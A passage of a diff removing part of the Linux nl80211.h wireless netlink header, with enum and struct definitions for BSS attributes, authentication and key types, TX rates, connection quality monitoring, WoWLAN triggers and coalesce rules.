-  NL80211_BSS_CHAN_WIDTH_5,
-};
-
-/**
- * enum nl80211_bss - netlink attributes for a BSS
- *
- * @__NL80211_BSS_INVALID: invalid
- * @NL80211_BSS_BSSID: BSSID of the BSS (6 octets)
- * @NL80211_BSS_FREQUENCY: frequency in MHz (u32)
- * @NL80211_BSS_TSF: TSF of the received probe response/beacon (u64)
- *	(if @NL80211_BSS_PRESP_DATA is present then this is known to be
- *	from a probe response, otherwise it may be from the same beacon
- *	that the NL80211_BSS_BEACON_TSF will be from)
- * @NL80211_BSS_BEACON_INTERVAL: beacon interval of the (I)BSS (u16)
- * @NL80211_BSS_CAPABILITY: capability field (CPU order, u16)
- * @NL80211_BSS_INFORMATION_ELEMENTS: binary attribute containing the
- *	raw information elements from the probe response/beacon (bin);
- *	if the %NL80211_BSS_BEACON_IES attribute is present and the data is
- *	different then the IEs here are from a Probe Response frame; otherwise
- *	they are from a Beacon frame.
- *	However, if the driver does not indicate the source of the IEs, these
- *	IEs may be from either frame subtype.
- *	If present, the @NL80211_BSS_PRESP_DATA attribute indicates that the
- *	data here is known to be from a probe response, without any heuristics.
- * @NL80211_BSS_SIGNAL_MBM: signal strength of probe response/beacon
- *	in mBm (100 * dBm) (s32)
- * @NL80211_BSS_SIGNAL_UNSPEC: signal strength of the probe response/beacon
- *	in unspecified units, scaled to 0..100 (u8)
- * @NL80211_BSS_STATUS: status, if this BSS is "used"
- * @NL80211_BSS_SEEN_MS_AGO: age of this BSS entry in ms
- * @NL80211_BSS_BEACON_IES: binary attribute containing the raw information
- *	elements from a Beacon frame (bin); not present if no Beacon frame has
- *	yet been received
- * @NL80211_BSS_CHAN_WIDTH: channel width of the control channel
- *	(u32, enum nl80211_bss_scan_width)
- * @NL80211_BSS_BEACON_TSF: TSF of the last received beacon (u64)
- *	(not present if no beacon frame has been received yet)
- * @NL80211_BSS_PRESP_DATA: the data in @NL80211_BSS_INFORMATION_ELEMENTS and
- *	@NL80211_BSS_TSF is known to be from a probe response (flag attribute)
- * @__NL80211_BSS_AFTER_LAST: internal
- * @NL80211_BSS_MAX: highest BSS attribute
- */
-enum nl80211_bss {
-  __NL80211_BSS_INVALID,
-  NL80211_BSS_BSSID,
-  NL80211_BSS_FREQUENCY,
-  NL80211_BSS_TSF,
-  NL80211_BSS_BEACON_INTERVAL,
-  NL80211_BSS_CAPABILITY,
-  NL80211_BSS_INFORMATION_ELEMENTS,
-  NL80211_BSS_SIGNAL_MBM,
-  NL80211_BSS_SIGNAL_UNSPEC,
-  NL80211_BSS_STATUS,
-  NL80211_BSS_SEEN_MS_AGO,
-  NL80211_BSS_BEACON_IES,
-  NL80211_BSS_CHAN_WIDTH,
-  NL80211_BSS_BEACON_TSF,
-  NL80211_BSS_PRESP_DATA,
-
-  /* keep last */
-  __NL80211_BSS_AFTER_LAST,
-  NL80211_BSS_MAX = __NL80211_BSS_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_bss_status - BSS "status"
- * @NL80211_BSS_STATUS_AUTHENTICATED: Authenticated with this BSS.
- * @NL80211_BSS_STATUS_ASSOCIATED: Associated with this BSS.
- * @NL80211_BSS_STATUS_IBSS_JOINED: Joined to this IBSS.
- *
- * The BSS status is a BSS attribute in scan dumps, which
- * indicates the status the interface has wrt. this BSS.
- */
-enum nl80211_bss_status {
-  NL80211_BSS_STATUS_AUTHENTICATED,
-  NL80211_BSS_STATUS_ASSOCIATED,
-  NL80211_BSS_STATUS_IBSS_JOINED,
-};
-
-/**
- * enum nl80211_auth_type - AuthenticationType
- *
- * @NL80211_AUTHTYPE_OPEN_SYSTEM: Open System authentication
- * @NL80211_AUTHTYPE_SHARED_KEY: Shared Key authentication (WEP only)
- * @NL80211_AUTHTYPE_FT: Fast BSS Transition (IEEE 802.11r)
- * @NL80211_AUTHTYPE_NETWORK_EAP: Network EAP (some Cisco APs and mainly LEAP)
- * @NL80211_AUTHTYPE_SAE: Simultaneous authentication of equals
- * @__NL80211_AUTHTYPE_NUM: internal
- * @NL80211_AUTHTYPE_MAX: maximum valid auth algorithm
- * @NL80211_AUTHTYPE_AUTOMATIC: determine automatically (if necessary by
- *	trying multiple times); this is invalid in netlink -- leave out
- *	the attribute for this on CONNECT commands.
- */
-enum nl80211_auth_type {
-  NL80211_AUTHTYPE_OPEN_SYSTEM,
-  NL80211_AUTHTYPE_SHARED_KEY,
-  NL80211_AUTHTYPE_FT,
-  NL80211_AUTHTYPE_NETWORK_EAP,
-  NL80211_AUTHTYPE_SAE,
-
-  /* keep last */
-  __NL80211_AUTHTYPE_NUM,
-  NL80211_AUTHTYPE_MAX = __NL80211_AUTHTYPE_NUM - 1,
-  NL80211_AUTHTYPE_AUTOMATIC
-};
-
-/**
- * enum nl80211_key_type - Key Type
- * @NL80211_KEYTYPE_GROUP: Group (broadcast/multicast) key
- * @NL80211_KEYTYPE_PAIRWISE: Pairwise (unicast/individual) key
- * @NL80211_KEYTYPE_PEERKEY: PeerKey (DLS)
- * @NUM_NL80211_KEYTYPES: number of defined key types
- */
-enum nl80211_key_type {
-  NL80211_KEYTYPE_GROUP,
-  NL80211_KEYTYPE_PAIRWISE,
-  NL80211_KEYTYPE_PEERKEY,
-
-  NUM_NL80211_KEYTYPES
-};
-
-/**
- * enum nl80211_mfp - Management frame protection state
- * @NL80211_MFP_NO: Management frame protection not used
- * @NL80211_MFP_REQUIRED: Management frame protection required
- */
-enum nl80211_mfp {
-  NL80211_MFP_NO,
-  NL80211_MFP_REQUIRED,
-};
-
-enum nl80211_wpa_versions {
-  NL80211_WPA_VERSION_1 = 1 << 0,
-  NL80211_WPA_VERSION_2 = 1 << 1,
-};
-
-/**
- * enum nl80211_key_default_types - key default types
- * @__NL80211_KEY_DEFAULT_TYPE_INVALID: invalid
- * @NL80211_KEY_DEFAULT_TYPE_UNICAST: key should be used as default
- *	unicast key
- * @NL80211_KEY_DEFAULT_TYPE_MULTICAST: key should be used as default
- *	multicast key
- * @NUM_NL80211_KEY_DEFAULT_TYPES: number of default types
- */
-enum nl80211_key_default_types {
-  __NL80211_KEY_DEFAULT_TYPE_INVALID,
-  NL80211_KEY_DEFAULT_TYPE_UNICAST,
-  NL80211_KEY_DEFAULT_TYPE_MULTICAST,
-
-  NUM_NL80211_KEY_DEFAULT_TYPES
-};
-
-/**
- * enum nl80211_key_attributes - key attributes
- * @__NL80211_KEY_INVALID: invalid
- * @NL80211_KEY_DATA: (temporal) key data; for TKIP this consists of
- *	16 bytes encryption key followed by 8 bytes each for TX and RX MIC
- *	keys
- * @NL80211_KEY_IDX: key ID (u8, 0-3)
- * @NL80211_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
- *	section 7.3.2.25.1, e.g. 0x000FAC04)
- * @NL80211_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
- *	CCMP keys, each six bytes in little endian
- * @NL80211_KEY_DEFAULT: flag indicating default key
- * @NL80211_KEY_DEFAULT_MGMT: flag indicating default management key
- * @NL80211_KEY_TYPE: the key type from enum nl80211_key_type, if not
- *	specified the default depends on whether a MAC address was
- *	given with the command using the key or not (u32)
- * @NL80211_KEY_DEFAULT_TYPES: A nested attribute containing flags
- *	attributes, specifying what a key should be set as default as.
- *	See &enum nl80211_key_default_types.
- * @__NL80211_KEY_AFTER_LAST: internal
- * @NL80211_KEY_MAX: highest key attribute
- */
-enum nl80211_key_attributes {
-  __NL80211_KEY_INVALID,
-  NL80211_KEY_DATA,
-  NL80211_KEY_IDX,
-  NL80211_KEY_CIPHER,
-  NL80211_KEY_SEQ,
-  NL80211_KEY_DEFAULT,
-  NL80211_KEY_DEFAULT_MGMT,
-  NL80211_KEY_TYPE,
-  NL80211_KEY_DEFAULT_TYPES,
-
-  /* keep last */
-  __NL80211_KEY_AFTER_LAST,
-  NL80211_KEY_MAX = __NL80211_KEY_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_tx_rate_attributes - TX rate set attributes
- * @__NL80211_TXRATE_INVALID: invalid
- * @NL80211_TXRATE_LEGACY: Legacy (non-MCS) rates allowed for TX rate selection
- *	in an array of rates as defined in IEEE 802.11 7.3.2.2 (u8 values with
- *	1 = 500 kbps) but without the IE length restriction (at most
- *	%NL80211_MAX_SUPP_RATES in a single array).
- * @NL80211_TXRATE_HT: HT (MCS) rates allowed for TX rate selection
- *	in an array of MCS numbers.
- * @NL80211_TXRATE_VHT: VHT rates allowed for TX rate selection,
- *	see &struct nl80211_txrate_vht
- * @NL80211_TXRATE_GI: configure GI, see &enum nl80211_txrate_gi
- * @__NL80211_TXRATE_AFTER_LAST: internal
- * @NL80211_TXRATE_MAX: highest TX rate attribute
- */
-enum nl80211_tx_rate_attributes {
-  __NL80211_TXRATE_INVALID,
-  NL80211_TXRATE_LEGACY,
-  NL80211_TXRATE_HT,
-  NL80211_TXRATE_VHT,
-  NL80211_TXRATE_GI,
-
-  /* keep last */
-  __NL80211_TXRATE_AFTER_LAST,
-  NL80211_TXRATE_MAX = __NL80211_TXRATE_AFTER_LAST - 1
-};
-
-#define NL80211_TXRATE_MCS NL80211_TXRATE_HT
-#define NL80211_VHT_NSS_MAX 8
-
-/**
- * struct nl80211_txrate_vht - VHT MCS/NSS txrate bitmap
- * @mcs: MCS bitmap table for each NSS (array index 0 for 1 stream, etc.)
- */
-struct nl80211_txrate_vht {
-  __u16 mcs[NL80211_VHT_NSS_MAX];
-};
-
-enum nl80211_txrate_gi {
-  NL80211_TXRATE_DEFAULT_GI,
-  NL80211_TXRATE_FORCE_SGI,
-  NL80211_TXRATE_FORCE_LGI,
-};
-
-/**
- * enum nl80211_band - Frequency band
- * @NL80211_BAND_2GHZ: 2.4 GHz ISM band
- * @NL80211_BAND_5GHZ: around 5 GHz band (4.9 - 5.7 GHz)
- * @NL80211_BAND_60GHZ: around 60 GHz band (58.32 - 64.80 GHz)
- */
-enum nl80211_band {
-  NL80211_BAND_2GHZ,
-  NL80211_BAND_5GHZ,
-  NL80211_BAND_60GHZ,
-};
-
-/**
- * enum nl80211_ps_state - powersave state
- * @NL80211_PS_DISABLED: powersave is disabled
- * @NL80211_PS_ENABLED: powersave is enabled
- */
-enum nl80211_ps_state {
-  NL80211_PS_DISABLED,
-  NL80211_PS_ENABLED,
-};
-
-/**
- * enum nl80211_attr_cqm - connection quality monitor attributes
- * @__NL80211_ATTR_CQM_INVALID: invalid
- * @NL80211_ATTR_CQM_RSSI_THOLD: RSSI threshold in dBm. This value specifies
- *	the threshold for the RSSI level at which an event will be sent. Zero
- *	to disable.
- * @NL80211_ATTR_CQM_RSSI_HYST: RSSI hysteresis in dBm. This value specifies
- *	the minimum amount the RSSI level must change after an event before a
- *	new event may be issued (to reduce effects of RSSI oscillation).
- * @NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT: RSSI threshold event
- * @NL80211_ATTR_CQM_PKT_LOSS_EVENT: a u32 value indicating that this many
- *	consecutive packets were not acknowledged by the peer
- * @NL80211_ATTR_CQM_TXE_RATE: TX error rate in %. Minimum % of TX failures
- *	during the given %NL80211_ATTR_CQM_TXE_INTVL before an
- *	%NL80211_CMD_NOTIFY_CQM with reported %NL80211_ATTR_CQM_TXE_RATE and
- *	%NL80211_ATTR_CQM_TXE_PKTS is generated.
- * @NL80211_ATTR_CQM_TXE_PKTS: number of attempted packets in a given
- *	%NL80211_ATTR_CQM_TXE_INTVL before %NL80211_ATTR_CQM_TXE_RATE is
- *	checked.
- * @NL80211_ATTR_CQM_TXE_INTVL: interval in seconds. Specifies the periodic
- *	interval in which %NL80211_ATTR_CQM_TXE_PKTS and
- *	%NL80211_ATTR_CQM_TXE_RATE must be satisfied before generating an
- *	%NL80211_CMD_NOTIFY_CQM. Set to 0 to turn off TX error reporting.
- * @__NL80211_ATTR_CQM_AFTER_LAST: internal
- * @NL80211_ATTR_CQM_MAX: highest key attribute
- */
-enum nl80211_attr_cqm {
-  __NL80211_ATTR_CQM_INVALID,
-  NL80211_ATTR_CQM_RSSI_THOLD,
-  NL80211_ATTR_CQM_RSSI_HYST,
-  NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT,
-  NL80211_ATTR_CQM_PKT_LOSS_EVENT,
-  NL80211_ATTR_CQM_TXE_RATE,
-  NL80211_ATTR_CQM_TXE_PKTS,
-  NL80211_ATTR_CQM_TXE_INTVL,
-
-  /* keep last */
-  __NL80211_ATTR_CQM_AFTER_LAST,
-  NL80211_ATTR_CQM_MAX = __NL80211_ATTR_CQM_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_cqm_rssi_threshold_event - RSSI threshold event
- * @NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW: The RSSI level is lower than the
- *      configured threshold
- * @NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH: The RSSI is higher than the
- *      configured threshold
- * @NL80211_CQM_RSSI_BEACON_LOSS_EVENT: The device experienced beacon loss.
- *	(Note that deauth/disassoc will still follow if the AP is not
- *	available. This event might get used as roaming event, etc.)
- */
-enum nl80211_cqm_rssi_threshold_event {
-  NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW,
-  NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH,
-  NL80211_CQM_RSSI_BEACON_LOSS_EVENT,
-};
-
-/**
- * enum nl80211_tx_power_setting - TX power adjustment
- * @NL80211_TX_POWER_AUTOMATIC: automatically determine transmit power
- * @NL80211_TX_POWER_LIMITED: limit TX power by the mBm parameter
- * @NL80211_TX_POWER_FIXED: fix TX power to the mBm parameter
- */
-enum nl80211_tx_power_setting {
-  NL80211_TX_POWER_AUTOMATIC,
-  NL80211_TX_POWER_LIMITED,
-  NL80211_TX_POWER_FIXED,
-};
-
-/**
- * enum nl80211_packet_pattern_attr - packet pattern attribute
- * @__NL80211_PKTPAT_INVALID: invalid number for nested attribute
- * @NL80211_PKTPAT_PATTERN: the pattern, values where the mask has
- *	a zero bit are ignored
- * @NL80211_PKTPAT_MASK: pattern mask, must be long enough to have
- *	a bit for each byte in the pattern. The lowest-order bit corresponds
- *	to the first byte of the pattern, but the bytes of the pattern are
- *	in a little-endian-like format, i.e. the 9th byte of the pattern
- *	corresponds to the lowest-order bit in the second byte of the mask.
- *	For example: The match 00:xx:00:00:xx:00:00:00:00:xx:xx:xx (where
- *	xx indicates "don't care") would be represented by a pattern of
- *	twelve zero bytes, and a mask of "0xed,0x01".
- *	Note that the pattern matching is done as though frames were not
- *	802.11 frames but 802.3 frames, i.e. the frame is fully unpacked
- *	first (including SNAP header unpacking) and then matched.
- * @NL80211_PKTPAT_OFFSET: packet offset, pattern is matched after
- *	these fixed number of bytes of received packet
- * @NUM_NL80211_PKTPAT: number of attributes
- * @MAX_NL80211_PKTPAT: max attribute number
- */
-enum nl80211_packet_pattern_attr {
-  __NL80211_PKTPAT_INVALID,
-  NL80211_PKTPAT_MASK,
-  NL80211_PKTPAT_PATTERN,
-  NL80211_PKTPAT_OFFSET,
-
-  NUM_NL80211_PKTPAT,
-  MAX_NL80211_PKTPAT = NUM_NL80211_PKTPAT - 1,
-};
-
-/**
- * struct nl80211_pattern_support - packet pattern support information
- * @max_patterns: maximum number of patterns supported
- * @min_pattern_len: minimum length of each pattern
- * @max_pattern_len: maximum length of each pattern
- * @max_pkt_offset: maximum Rx packet offset
- *
- * This struct is carried in %NL80211_WOWLAN_TRIG_PKT_PATTERN when
- * that is part of %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED or in
- * %NL80211_ATTR_COALESCE_RULE_PKT_PATTERN when that is part of
- * %NL80211_ATTR_COALESCE_RULE in the capability information given
- * by the kernel to userspace.
- */
-struct nl80211_pattern_support {
-  __u32 max_patterns;
-  __u32 min_pattern_len;
-  __u32 max_pattern_len;
-  __u32 max_pkt_offset;
-} __attribute__((packed));
-
-/* only for backward compatibility */
-#define __NL80211_WOWLAN_PKTPAT_INVALID __NL80211_PKTPAT_INVALID
-#define NL80211_WOWLAN_PKTPAT_MASK NL80211_PKTPAT_MASK
-#define NL80211_WOWLAN_PKTPAT_PATTERN NL80211_PKTPAT_PATTERN
-#define NL80211_WOWLAN_PKTPAT_OFFSET NL80211_PKTPAT_OFFSET
-#define NUM_NL80211_WOWLAN_PKTPAT NUM_NL80211_PKTPAT
-#define MAX_NL80211_WOWLAN_PKTPAT MAX_NL80211_PKTPAT
-#define nl80211_wowlan_pattern_support nl80211_pattern_support
-
-/**
- * enum nl80211_wowlan_triggers - WoWLAN trigger definitions
- * @__NL80211_WOWLAN_TRIG_INVALID: invalid number for nested attributes
- * @NL80211_WOWLAN_TRIG_ANY: wake up on any activity, do not really put
- *	the chip into a special state -- works best with chips that have
- *	support for low-power operation already (flag)
- * @NL80211_WOWLAN_TRIG_DISCONNECT: wake up on disconnect, the way disconnect
- *	is detected is implementation-specific (flag)
- * @NL80211_WOWLAN_TRIG_MAGIC_PKT: wake up on magic packet (6x 0xff, followed
- *	by 16 repetitions of MAC addr, anywhere in payload) (flag)
- * @NL80211_WOWLAN_TRIG_PKT_PATTERN: wake up on the specified packet patterns
- *	which are passed in an array of nested attributes, each nested attribute
- *	defining a with attributes from &struct nl80211_wowlan_trig_pkt_pattern.
- *	Each pattern defines a wakeup packet. Packet offset is associated with
- *	each pattern which is used while matching the pattern. The matching is
- *	done on the MSDU, i.e. as though the packet was an 802.3 packet, so the
- *	pattern matching is done after the packet is converted to the MSDU.
- *
- *	In %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED, it is a binary attribute
- *	carrying a &struct nl80211_pattern_support.
- *
- *	When reporting wakeup. it is a u32 attribute containing the 0-based
- *	index of the pattern that caused the wakeup, in the patterns passed
- *	to the kernel when configuring.
- * @NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED: Not a real trigger, and cannot be
- *	used when setting, used only to indicate that GTK rekeying is supported
- *	by the device (flag)
- * @NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE: wake up on GTK rekey failure (if
- *	done by the device) (flag)
- * @NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST: wake up on EAP Identity Request
- *	packet (flag)
- * @NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE: wake up on 4-way handshake (flag)
- * @NL80211_WOWLAN_TRIG_RFKILL_RELEASE: wake up when rfkill is released
- *	(on devices that have rfkill in the device) (flag)
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211: For wakeup reporting only, contains
- *	the 802.11 packet that caused the wakeup, e.g. a deauth frame. The frame
- *	may be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN
- *	attribute contains the original length.
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN: Original length of the 802.11
- *	packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211
- *	attribute if the packet was truncated somewhere.
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023: For wakeup reporting only, contains the
- *	802.11 packet that caused the wakeup, e.g. a magic packet. The frame may
- *	be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN attribute
- *	contains the original length.
- * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN: Original length of the 802.3
- *	packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023
- *	attribute if the packet was truncated somewhere.
- * @NL80211_WOWLAN_TRIG_TCP_CONNECTION: TCP connection wake, see DOC section
- *	"TCP connection wakeup" for more details. This is a nested attribute
- *	containing the exact information for establishing and keeping alive
- *	the TCP connection.
- * @NL80211_WOWLAN_TRIG_TCP_WAKEUP_MATCH: For wakeup reporting only, the
- *	wakeup packet was received on the TCP connection
- * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST: For wakeup reporting only, the
- *	TCP connection was lost or failed to be established
- * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS: For wakeup reporting only,
- *	the TCP connection ran out of tokens to use for data to send to the
- *	service
- * @NUM_NL80211_WOWLAN_TRIG: number of wake on wireless triggers
- * @MAX_NL80211_WOWLAN_TRIG: highest wowlan trigger attribute number
- *
- * These nested attributes are used to configure the wakeup triggers and
- * to report the wakeup reason(s).
- */
-enum nl80211_wowlan_triggers {
-  __NL80211_WOWLAN_TRIG_INVALID,
-  NL80211_WOWLAN_TRIG_ANY,
-  NL80211_WOWLAN_TRIG_DISCONNECT,
-  NL80211_WOWLAN_TRIG_MAGIC_PKT,
-  NL80211_WOWLAN_TRIG_PKT_PATTERN,
-  NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED,
-  NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE,
-  NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST,
-  NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE,
-  NL80211_WOWLAN_TRIG_RFKILL_RELEASE,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023,
-  NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN,
-  NL80211_WOWLAN_TRIG_TCP_CONNECTION,
-  NL80211_WOWLAN_TRIG_WAKEUP_TCP_MATCH,
-  NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST,
-  NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS,
-
-  /* keep last */
-  NUM_NL80211_WOWLAN_TRIG,
-  MAX_NL80211_WOWLAN_TRIG = NUM_NL80211_WOWLAN_TRIG - 1
-};
-
-/**
- * DOC: TCP connection wakeup
- *
- * Some devices can establish a TCP connection in order to be woken up by a
- * packet coming in from outside their network segment, or behind NAT. If
- * configured, the device will establish a TCP connection to the given
- * service, and periodically send data to that service. The first data
- * packet is usually transmitted after SYN/ACK, also ACKing the SYN/ACK.
- * The data packets can optionally include a (little endian) sequence
- * number (in the TCP payload!) that is generated by the device, and, also
- * optionally, a token from a list of tokens. This serves as a keep-alive
- * with the service, and for NATed connections, etc.
- *
- * During this keep-alive period, the server doesn't send any data to the
- * client. When receiving data, it is compared against the wakeup pattern
- * (and mask) and if it matches, the host is woken up. Similarly, if the
- * connection breaks or cannot be established to start with, the host is
- * also woken up.
- *
- * Developer's note: ARP offload is required for this, otherwise TCP
- * response packets might not go through correctly.
- */
-
-/**
- * struct nl80211_wowlan_tcp_data_seq - WoWLAN TCP data sequence
- * @start: starting value
- * @offset: offset of sequence number in packet
- * @len: length of the sequence value to write, 1 through 4
- *
- * Note: don't confuse with the TCP sequence number(s), this is for the
- * keepalive packet payload. The actual value is written into the packet
- * in little endian.
- */
-struct nl80211_wowlan_tcp_data_seq {
-  __u32 start, offset, len;
-};
-
-/**
- * struct nl80211_wowlan_tcp_data_token - WoWLAN TCP data token config
- * @offset: offset of token in packet
- * @len: length of each token
- * @token_stream: stream of data to be used for the tokens, the length must
- *	be a multiple of @len for this to make sense
- */
-struct nl80211_wowlan_tcp_data_token {
-  __u32 offset, len;
-  __u8 token_stream[];
-};
-
-/**
- * struct nl80211_wowlan_tcp_data_token_feature - data token features
- * @min_len: minimum token length
- * @max_len: maximum token length
- * @bufsize: total available token buffer size (max size of @token_stream)
- */
-struct nl80211_wowlan_tcp_data_token_feature {
-  __u32 min_len, max_len, bufsize;
-};
-
-/**
- * enum nl80211_wowlan_tcp_attrs - WoWLAN TCP connection parameters
- * @__NL80211_WOWLAN_TCP_INVALID: invalid number for nested attributes
- * @NL80211_WOWLAN_TCP_SRC_IPV4: source IPv4 address (in network byte order)
- * @NL80211_WOWLAN_TCP_DST_IPV4: destination IPv4 address
- *	(in network byte order)
- * @NL80211_WOWLAN_TCP_DST_MAC: destination MAC address, this is given because
- *	route lookup when configured might be invalid by the time we suspend,
- *	and doing a route lookup when suspending is no longer possible as it
- *	might require ARP querying.
- * @NL80211_WOWLAN_TCP_SRC_PORT: source port (u16); optional, if not given a
- *	socket and port will be allocated
- * @NL80211_WOWLAN_TCP_DST_PORT: destination port (u16)
- * @NL80211_WOWLAN_TCP_DATA_PAYLOAD: data packet payload, at least one byte.
- *	For feature advertising, a u32 attribute holding the maximum length
- *	of the data payload.
- * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ: data packet sequence configuration
- *	(if desired), a &struct nl80211_wowlan_tcp_data_seq. For feature
- *	advertising it is just a flag
- * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN: data packet token configuration,
- *	see &struct nl80211_wowlan_tcp_data_token and for advertising see
- *	&struct nl80211_wowlan_tcp_data_token_feature.
- * @NL80211_WOWLAN_TCP_DATA_INTERVAL: data interval in seconds, maximum
- *	interval in feature advertising (u32)
- * @NL80211_WOWLAN_TCP_WAKE_PAYLOAD: wake packet payload, for advertising a
- *	u32 attribute holding the maximum length
- * @NL80211_WOWLAN_TCP_WAKE_MASK: Wake packet payload mask, not used for
- *	feature advertising. The mask works like @NL80211_PKTPAT_MASK
- *	but on the TCP payload only.
- * @NUM_NL80211_WOWLAN_TCP: number of TCP attributes
- * @MAX_NL80211_WOWLAN_TCP: highest attribute number
- */
-enum nl80211_wowlan_tcp_attrs {
-  __NL80211_WOWLAN_TCP_INVALID,
-  NL80211_WOWLAN_TCP_SRC_IPV4,
-  NL80211_WOWLAN_TCP_DST_IPV4,
-  NL80211_WOWLAN_TCP_DST_MAC,
-  NL80211_WOWLAN_TCP_SRC_PORT,
-  NL80211_WOWLAN_TCP_DST_PORT,
-  NL80211_WOWLAN_TCP_DATA_PAYLOAD,
-  NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ,
-  NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN,
-  NL80211_WOWLAN_TCP_DATA_INTERVAL,
-  NL80211_WOWLAN_TCP_WAKE_PAYLOAD,
-  NL80211_WOWLAN_TCP_WAKE_MASK,
-
-  /* keep last */
-  NUM_NL80211_WOWLAN_TCP,
-  MAX_NL80211_WOWLAN_TCP = NUM_NL80211_WOWLAN_TCP - 1
-};
-
-/**
- * struct nl80211_coalesce_rule_support - coalesce rule support information
- * @max_rules: maximum number of rules supported
- * @pat: packet pattern support information
- * @max_delay: maximum supported coalescing delay in msecs
- *
- * This struct is carried in %NL80211_ATTR_COALESCE_RULE in the
- * capability information given by the kernel to userspace.
- */
-struct nl80211_coalesce_rule_support {
-  __u32 max_rules;
-  struct nl80211_pattern_support pat;
-  __u32 max_delay;
-} __attribute__((packed));
-
-/**
- * enum nl80211_attr_coalesce_rule - coalesce rule attribute
- * @__NL80211_COALESCE_RULE_INVALID: invalid number for nested attribute
- * @NL80211_ATTR_COALESCE_RULE_DELAY: delay in msecs used for packet coalescing
- * @NL80211_ATTR_COALESCE_RULE_CONDITION: condition for packet coalescence,
- *	see &enum nl80211_coalesce_condition.
- * @NL80211_ATTR_COALESCE_RULE_PKT_PATTERN: packet offset, pattern is matched
- *	after these fixed number of bytes of received packet
- * @NUM_NL80211_ATTR_COALESCE_RULE: number of attributes
- * @NL80211_ATTR_COALESCE_RULE_MAX: max attribute number
- */
-enum nl80211_attr_coalesce_rule {
-  __NL80211_COALESCE_RULE_INVALID,
-  NL80211_ATTR_COALESCE_RULE_DELAY,
-  NL80211_ATTR_COALESCE_RULE_CONDITION,
-  NL80211_ATTR_COALESCE_RULE_PKT_PATTERN,
-
-  /* keep last */
-  NUM_NL80211_ATTR_COALESCE_RULE,
-  NL80211_ATTR_COALESCE_RULE_MAX = NUM_NL80211_ATTR_COALESCE_RULE - 1
-};
-
-/**
- * enum nl80211_coalesce_condition - coalesce rule conditions
- * @NL80211_COALESCE_CONDITION_MATCH: coalaesce Rx packets when patterns
- *	in a rule are matched.
- * @NL80211_COALESCE_CONDITION_NO_MATCH: coalesce Rx packets when patterns
- *	in a rule are not matched.
- */
-enum nl80211_coalesce_condition {
-  NL80211_COALESCE_CONDITION_MATCH,
-  NL80211_COALESCE_CONDITION_NO_MATCH
-};
-
-/**
- * enum nl80211_iface_limit_attrs - limit attributes
- * @NL80211_IFACE_LIMIT_UNSPEC: (reserved)
- * @NL80211_IFACE_LIMIT_MAX: maximum number of interfaces that
- *	can be chosen from this set of interface types (u32)
- * @NL80211_IFACE_LIMIT_TYPES: nested attribute containing a
- *	flag attribute for each interface type in this set
- * @NUM_NL80211_IFACE_LIMIT: number of attributes
- * @MAX_NL80211_IFACE_LIMIT: highest attribute number
- */
-enum nl80211_iface_limit_attrs {
-  NL80211_IFACE_LIMIT_UNSPEC,
-  NL80211_IFACE_LIMIT_MAX,
-  NL80211_IFACE_LIMIT_TYPES,
-
-  /* keep last */
-  NUM_NL80211_IFACE_LIMIT,
-  MAX_NL80211_IFACE_LIMIT = NUM_NL80211_IFACE_LIMIT - 1
-};
-
-/**
- * enum nl80211_if_combination_attrs -- interface combination attributes
- *
- * @NL80211_IFACE_COMB_UNSPEC: (reserved)
- * @NL80211_IFACE_COMB_LIMITS: Nested attributes containing the limits
- *	for given interface types, see &enum nl80211_iface_limit_attrs.
- * @NL80211_IFACE_COMB_MAXNUM: u32 attribute giving the total number of
- *	interfaces that can be created in this group. This number doesn't
- *	apply to interfaces purely managed in software, which are listed
- *	in a separate attribute %NL80211_ATTR_INTERFACES_SOFTWARE.
- * @NL80211_IFACE_COMB_STA_AP_BI_MATCH: flag attribute specifying that
- *	beacon intervals within this group must be all the same even for
- *	infrastructure and AP/GO combinations, i.e. the GO(s) must adopt
- *	the infrastructure network's beacon interval.
- * @NL80211_IFACE_COMB_NUM_CHANNELS: u32 attribute specifying how many
- *	different channels may be used within this group.
- * @NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS: u32 attribute containing the bitmap
- *	of supported channel widths for radar detection.
